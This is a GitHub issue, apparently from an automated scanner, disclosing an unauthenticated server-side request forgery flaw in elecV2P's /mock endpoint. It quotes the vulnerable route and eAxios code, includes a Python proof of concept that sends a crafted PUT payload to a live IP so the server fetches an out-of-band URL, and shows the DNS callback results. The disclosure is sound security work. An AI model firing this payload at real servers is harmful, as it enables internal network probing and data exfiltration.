Skip to content

SSRF via /mock endpoint #202

@NinjaGPT

Description

@NinjaGPT

Summary

The /mock endpoint accepts a request object and passes it directly to eAxios() without authentication or URL validation. With type: "req", the server fetches any attacker-supplied URL, enabling internal network scanning and data exfiltration. Confirmed via DNS callback.


Details

  • SOURCE
// source-code/elecV2P-master/webser/wbjs.js#L222C20-L273C4
222→  app.put('/mock', (req, res) => {
223→    clog.notify((req.headers['x-forwarded-for'] || req.connection.remoteAddress), 'make mock', req.body.type)
224→    const request = req.body.request
225→    switch (req.body.type) {
226→      case 'req':
227→        eAxios(request).then(response => {
228→          clog.notify('mock request response:', response.data)
229→          res.json({
230→            rescode: 0,
231→            message: 'axios request success'
232→          })
233→        }).catch(error => {
234→          clog.error('mock request', errStack(error))
235→          res.json({
236→            rescode: -1,
237→            message: 'axios request fail, ' + error.message
238→          })
239→        })
240→        break
241→      case 'js':
242→        let jsname = req.body.jsname
243→        if (jsname) {
244→          if (!/\.js$/.test(jsname)) jsname = jsname + '.js'
245→        } else {
246→          jsname = 'elecV2Pmock.js'
247→        }
248→        const jscont = `/**
249→ * mock JS from elecV2P - ${jsname}
250→**/
251→
252→const request = ${ JSON.stringify(request, null, 2) }
253→
254→$axios(request).then(res=>{
255→  console.log(res.data)
256→}).catch(e=>{
257→  console.error(e)
258→})`
259→        Jsfile.put(jsname, jscont)
260→        res.json({
261→          rescode: 0,
262→          message: `success save ${jsname}`
263→        })
264→        clog.notify(`success save ${jsname}`)
265→        break
266→      default: {
267→        res.json({
268→          rescode: -1,
269→          message: 'wrong mock type'
270→        })
271→      }
272→    }
273→  })
  • SINK
// source-code/elecV2P-master/utils/eaxios.js#L130C1-L198C2
130→function eAxios(request, proxy = null) {
131→  if (typeof(request) === 'string') {
132→    request = {
133→      url: request
134→    }
135→  }
136→  if (isBlock(request)) {
137→    let res = {
138→      rescode: -1,
139→      message: 'error: ' + request.url + ' is blocked(You can reset on webUI->SETTING)'
140→    }
141→    if (request.headers && /json/i.test(request.headers.Accept)) {
142→      return Promise.reject(res)
143→    }
144→    return Promise.reject(res.message)
145→  }
146→  if (!/%/.test(request.url)) {
147→    // unescaped-characters 处理
148→    request.url = encodeURI(request.url)
149→  }
150→  if (!request.method) {
151→    request.method = 'get'
152→  }
153→  if (request.timeout === undefined) {
154→    request.timeout = CONFIG_Axios.timeout
155→  }
156→  request.headers = sJson(request.headers, true)
157→  // 移除 headers 中多余参数
158→  Object.keys(request.headers).forEach(key => {
159→    if (key === 'Content-Length' || key === 'content-length' || request.headers[key] === undefined) {
160→      delete request.headers[key]
161→    }
162→  })
163→  // 补充一些 headers 参数
164→  request.headers['Accept'] = request.headers['Accept'] || request.headers['accept'] || '*/*'
165→  request.headers['Accept-Encoding'] = request.headers['Accept-Encoding'] || request.headers['accept-encoding'] || '*'
166→  request.headers['Accept-Language'] = request.headers['Accept-Language'] || request.headers['accept-language'] || 'zh,zh-CN;q=0.9,en;q=0.7,*;q=0.5'
167→  request.headers['Connection'] = request.headers['Connection'] || request.headers['connection'] || 'keep-alive'
168→  request.headers['Content-Type'] = request.headers['Content-Type'] || request.headers['content-type'] || 'application/x-www-form-urlencoded; charset=UTF-8'
169→  request.headers['Date'] = request.headers['Date'] || request.headers['date'] || new Date().toUTCString()
170→  request.headers['User-Agent'] = request.headers['User-Agent'] || request.headers['user-agent'] || getUagent()
171→
172→  // request data/body 处理
173→  if (request.data === undefined) {
174→    request.data = request.body
175→  }
176→  // 非 GET 请求 url 参数移动到 body 内
177→  // if (request.method.toLowerCase() !== 'get' && !request.data && /\?/.test(request.url)) {
178→  //   request.data = request.url.split('?').pop()
179→  // }
180→  if (request.data === undefined || request.data === '') {
181→    request.data = null
182→  }
183→  if (request.validateStatus === undefined) {
184→    request.validateStatus = status => status < 500
185→  }
186→
187→  // 网络请求代理处理
188→  if (proxy !== false && (proxy || CONFIG_Axios.proxy.enable)) {
189→    if (request.url.startsWith('https')) {
190→      request['httpsAgent'] = proxy ? axProxy.new(proxy) : eData.https
191→    } else {
192→      request['httpAgent'] = proxy ? axProxy.new(proxy, 'http') : eData.http
193→    }
194→    request.proxy = false
195→  }
196→
197→  return axios(request)
198→}


POC

import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
    """
    Match an API endpoint pattern with a given path.

    This function supports multiple path parameter syntaxes used by different web frameworks:
    - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
    - Angle brackets: '/users/<int:id>' (Flask with converters)
    - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
    - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

    Note: This function performs structural matching only and doesn't validate param types or regex constraints.

    Args:
      pattern (str): The endpoint pattern with parameter placeholders
      path (str): The actual path to match

    Returns:
      bool: True if the path structurally matches the pattern, otherwise False
    """
    pattern = pattern.strip() or '/'
    path = path.strip() or '/'
    if pattern == path:
        return True

    # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
    # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
    pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
    # Support for <param> and <type:param> syntax (Flask with converters)
    pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
    # Support for :param syntax (Express, Koa, Sinatra)
    pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
    # Add start and end anchors to ensure full match
    pattern = f'^{pattern}$'

    match = re.match(pattern, path)
    if match:
        return True
    return False
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        
        if match_api_pattern('/mock', urlparse(url).path):
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        else:
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        return super().request(
            method=method,
            url=url,
            params=params,
            data=data,
            headers=headers,
            cookies=cookies,
            files=files,
            auth=auth,
            timeout=timeout,
            allow_redirects=allow_redirects,
            proxies=proxies,
            hooks=hooks,
            stream=stream,
            verify=verify,
            cert=cert,
            json=json,
        )
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests

# Define the target URL and endpoint
target_url = "http://34.127.19.15:42863/mock"

# Define the OOB URL to test the SSRF vulnerability
oob_url = 'http://$domain'

# Craft the JSON payload with the malicious URL
payload = {
    "type": "req",
    "request": {
        "url": oob_url,
        "method": "GET"
    }
}

# Send the PUT request to the target
response = requests.put(target_url, json=payload, verify=False, allow_redirects=False)

# Print the results
print("Status Code:", response.status_code)
print("Text:", response.text)
# ********************************** Poc End ***********************************
  • The executed result
Sandbox Execution Cancelled
++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 74.125.80.90, 74.125.80.82, 69.28.61.221, 69.28.61.220, 74.125.80.81, 69.28.61.221, 69.28.61.220, 172.217.46.19, 74.125.80.84, 69.28.61.220, 74.125.80.30
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions